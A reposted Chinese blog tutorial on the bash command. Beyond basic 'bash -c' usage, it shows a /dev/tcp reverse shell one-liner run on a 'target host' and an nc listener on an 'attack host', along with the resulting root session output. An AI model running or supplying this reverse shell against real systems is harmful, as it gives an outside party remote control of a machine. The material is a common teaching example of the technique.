博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Linux命令——bash
阅读量:6846 次
发布时间:2019-06-26

本文共 767 字,大约阅读时间需要 2 分钟。

    bash是一个命令解释语言,能够执行读取标准输入或文件的命令,可以执行命令以及结合nc进行反弹shell!

基本使用语法

1
bash 
-c 命令
1
2
3
root@kali:~
# bash -c whoami
root
root@kali:~
#

    另外使用-i表示以交互方式运行shell,通常在目标主机上运行

1
bash 
-i >& 
/dev/tcp/192
.168.5.1
/2222 
0>&1

    然后另一台主机使用nc进行监听该端口,即可获取到一个shell!

    目标主机:

1
root@kali:~
# bash -i >& /dev/tcp/192.168.5.1/2222 0>&1

    攻击主机:

1
2
3
4
5
6
7
8
9
10
11
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
root@kali:~
# uname -a
uname 
-a
Linux kali 4.6.0-kali1-amd64 
#1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~
# whoami
whoami
root
root@kali:~
#exit
本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1960279

转载地址:http://atlul.baihongyu.com/

你可能感兴趣的文章
windows下搭建iphone开发环境
查看>>
POJ 3414 Pots (BFS)
查看>>
利用vbs设置Java环境变量
查看>>
Ubuntu离线安装软件包
查看>>
线段树
查看>>
我们都曾经历过:生活教会我的8堂人生课
查看>>
推荐几本最好的web前端开发技术图书
查看>>
ZOJ 1015 Fishing Net(判断弦图)
查看>>
D3D中剔除模式
查看>>
iOS开发系列--App扩展开发
查看>>
mysql 查看用户的权限
查看>>
JavaScript 函数节流和函数去抖应用场景辨析
查看>>
log4j的参数配置(转)
查看>>
[C++][基础]1_变量、常量和基本类型
查看>>
Android Service与Runnable整合并用
查看>>
Php综合手册
查看>>
[轉]javascript 的 location 各種用法
查看>>
测地膨胀和膨胀重建—lhMorpRDilate
查看>>
PHP开发Android应用程序(转)
查看>>
Knockout.js随手记(8)
查看>>